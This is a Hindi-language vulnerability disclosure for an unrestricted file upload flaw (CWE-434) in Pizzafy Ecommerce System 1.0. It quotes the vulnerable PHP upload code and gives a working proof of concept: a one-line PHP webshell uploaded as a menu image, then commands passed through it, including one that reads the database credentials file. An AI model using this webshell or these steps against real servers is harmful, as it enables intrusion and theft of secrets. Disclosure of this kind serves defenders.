
| फ़ील्ड | मान |
|---|---|
| विक्रेता | SourceCodester |
| विक्रेता URL | https://www.sourcecodester.com |
| उत्पाद | Pizzafy Ecommerce System using PHP and MySQL |
| उत्पाद URL | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| संस्करण | 1.0 |
| भेद्यता | असीमित फ़ाइल अपलोड → रिमोट कोड निष्पादन |
| CWE | CWE-434 |
| CVSSv3 स्कोर | 7.8 (उच्च) |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण आवश्यक | हाँ (व्यवस्थापक) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| शोधकर्ता | Imad Alvi |
| दिनांक | 2026-04-12 |
फ़ाइल: Pizzafy/admin/admin_class_novo.php → save_menu() फ़ंक्शन
पैरामीटर: img (FILE)
अपलोड पथ: Pizzafy/assets/img/
Pizzafy Ecommerce System 1.0 में save_menu() फ़ंक्शन मेनू आइटमों के लिए छवि अपलोड को बिना किसी फ़ाइल प्रकार सत्यापन के संभालता है। एप्लिकेशन pathinfo() का उपयोग करके फ़ाइल एक्सटेंशन प्राप्त करता है, लेकिन अपलोड की गई फ़ाइल को वेब-सुलभ assets/img/ निर्देशिका में ले जाने से पहले अनुमत फ़ाइल प्रकारों की वास्तव में जाँच या प्रतिबंध कभी नहीं करता है। एक प्रमाणित व्यवस्थापक मेनू छवि के रूप में प्रच्छन्न PHP वेबशेल अपलोड कर सकता है, और फिर सर्वर पर रिमोट कोड निष्पादन प्राप्त करने के लिए ब्राउज़र के माध्यम से सीधे उस तक पहुँच सकता है।
admin_class_novo.php में संवेदनशील कोड:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
निम्नलिखित सामग्री के साथ shell_web2.php नाम की एक फ़ाइल बनाएँ:
<?php echo shell_exec($_GET['cmd']); ?>
व्यवस्थापक के रूप में लॉग इन करें और यहाँ जाएँ:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
मेनू फ़ॉर्म में कोई भी मान्य मान भरें और छवि फ़ाइल के रूप में shell_web2.php चुनें। Save पर क्लिक करें।
शेल अब ग्राहक-सामने वाले पृष्ठ पर मेनू आइटम के रूप में सूचीबद्ध है।
assets निर्देशिका पर जाएँ — निर्देशिका सूचीकरण सक्षम है (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
अपलोड की गई PHP शेल निर्देशिका सूची में दिखाई दे रही है।
अपलोड की गई शेल तक सीधे पहुँचें और cmd पैरामीटर के माध्यम से सिस्टम कमांड पास करें:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
प्रतिक्रिया — सर्वर पर निष्पादित OS कमांड:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
एक प्रमाणित व्यवस्थापक निम्नलिखित कर सकता है:
assets/img/ निर्देशिका में निर्देशिका सूचीकरण सक्षम है, जिससे बिना प्रमाणीकरण वाले उपयोगकर्ता वेबशेल सहित सभी अपलोड की गई फ़ाइलों को ब्राउज़ कर सकते हैं। यह फ़ाइल अपलोड भेद्यता की गंभीरता को और बढ़ा देता है।